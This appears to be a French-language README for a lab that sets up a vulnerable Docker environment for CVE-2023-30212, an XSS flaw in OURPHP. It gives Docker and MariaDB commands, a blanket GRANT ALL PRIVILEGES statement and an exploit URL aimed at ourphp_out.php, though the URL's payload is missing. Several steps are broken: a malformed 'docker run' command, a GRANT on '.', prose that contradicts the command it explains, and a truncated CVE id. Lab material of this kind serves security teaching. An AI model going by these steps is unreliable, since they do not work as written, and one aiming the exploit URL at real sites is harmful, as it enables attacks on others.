libasmon/-create-a-vulnerable-docker-environment-that-is-susceptible-to-cve-2023-30212Environnement Docker et exploiter la vulnérabilité CVE-2023-30212VE-2023-30212 est une vulnérabilité de sécurité qui affecte les versions d'OURPHP antérieures ou égales à 7.2.0. Cette vulnérabilité permet des attaques de Cross-Site Scripting (XSS)
Environnement Docker et exploitation de la vulnérabilité CVE-2023-30212. VE-2023-30212 est une vulnérabilité de sécurité qui affecte les versions d'OURPHP antérieures ou égales à 7.2.0. Cette vulnérabilité permet des attaques de type Cross-Site Scripting (XSS).
OURPHP <= 7.2.0 est vulnérable aux attaques Cross-Site Scripting (XSS) via /client/manage/ourphp_out.php
Téléchargez le dockerfile et extrayez-le
https://down.chinaz.com/api/index/download?id=51308&type=code
Téléchargez l'exploit CVE 2023-30212
Ouvrez un terminal dans le dossier où vous avez enregistré le dockerfile
Installez la machine Docker
sudo apt update
sudo apt install docker.io
Créez une image Docker
docker run -d -p < Docker image id>
Vérifiez l'image Docker
docker ps
Obtenez un nouvel ID de conteneur
bb18debddccc test "docker-php-entrypoi…" 4 minutes ago Up 4 minutes 0.0.0.0:8080->80/tcp, :::8080->80/tcp angry_turing
Exécutez une session bash interactive dans un conteneur Docker en cours d'exécution
docker exec -it bb18debddccc /bin/bash
*Obtenez un shell Docker
> root@bb18debddccc:/var/www/html#
Configurez la base de données mysql
root@bb18debddccc:/var/www/html# mysql
Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 38 Server version: 10.3.38-MariaDB-0+deb10u1 Debian 10 Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MariaDB [(none)]>
MySQL ou MariaDB pour accorder tous les privilèges
GRANT ALL PRIVILEGES ON . TO ' user account'@'localhost' IDENTIFIED BY 'user password' WITH GRANT OPTION;
Il s'agit d'une commande SQL généralement utilisée dans un système de gestion de base de données comme MySQL ou MariaDB pour accorder tous les privilèges à l'utilisateur 'root' sur toutes les bases de données et tables du système actuel.
URL: http://localhost:8080/client/manage/ourphp_out.php?ourphp_admin=logout&out=)